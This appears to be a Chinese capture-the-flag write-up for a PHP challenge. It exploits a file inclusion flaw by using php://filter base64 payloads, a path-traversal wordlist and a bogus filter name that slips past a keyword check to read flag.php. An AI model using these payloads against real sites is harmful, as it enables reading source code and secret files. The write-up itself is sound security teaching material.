打开页面,测试功能发现是一个鼓励网站,点击下面的两个按钮会给category传一个参数
感觉存在文件包含漏洞,先用base64伪协议尝试读取一下源码
?category=php://filter/convert.base64-encode/resource=index.php
发现报错了嗷,根据提示,他会自动加上.php后缀,我们去除后缀,重新访问
得到了一大串base64编码:
base64解密后,其中的php代码如下:
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
审计代码我们发现,判断语句用了strpos查找关键字woofers
、meowers
、index
只要字符串中存在关键词就可以执行include运行脚本。目前我们需要知道的是flag文件在哪个位置。
这里我写了个简单的字典爆破:
woofers/../flag
woofers/../../flag
woofers/../../../flag
woofers/../../../../flag
woofers/../../../../../flag
woofers/../../../../../../flag
woofers/../../../../../../../flag
meowers/../flag
meowers/../../flag
meowers/../../../flag
meowers/../../../../flag
meowers/../../../../../flag
meowers/../../../../../../flag
meowers/../../../../../../../flag
index/../flag
index/../../flag
index/../../../flag
index/../../../../flag
index/../../../../../flag
index/../../../../../../flag
index/../../../../../../../flag
那就是找到了flag.php,路径在meowers同级目录下,其实这4个文件woofers.php,meowers.php,index.php,flag.php在同一个目录下。但是不能访问flag.php,要我们读取,还是用伪协议通过resource读取:
这里简述一下php://filter的用法:
格式:php://filter/read=?/resource=?
read也可以是write,一般会省略不写,或直接写过滤器的名称。
比如:php://filter/convert.base64-encode/resource=?
多个过滤器使用管道符 | 隔开,若过滤器需要参数使用 / 后面接参数
比如:php://filter/convert.base64-encode|convert.iconv.UTF-8/ISO-8859-1/resource=flag.php
这里ISO-8859-1就是过滤器convert.iconv.UTF-8的参数
?category=php://filter/convert.base64-encode/meowers/resource=flag
ps:这里写meowers纯粹是因为他不接受index,你写woofers也行,在执行这个流包装器的时候没有起到任何作用,只是为了过那个判断
这里为什么会报两个警告,其实是把meowers当作了过滤器处理。
解析规则大致为:php先尝试把meowers当作convert.base64-encode过滤器的参数,但是他是一个不需要参数的过滤器,随后php再尝试把他当作过滤器处理,但是他又不是一个正确的过滤器名称,php又想创建一个这样的过滤器吧,但是meowers又不是一个预定义的过滤器名称,最后没办法了只能报两个警告。
base64解密得到
标签:woofers,index,..,meowers,Had,flag,bad,2020,php From: https://www.cnblogs.com/abenben/p/18559585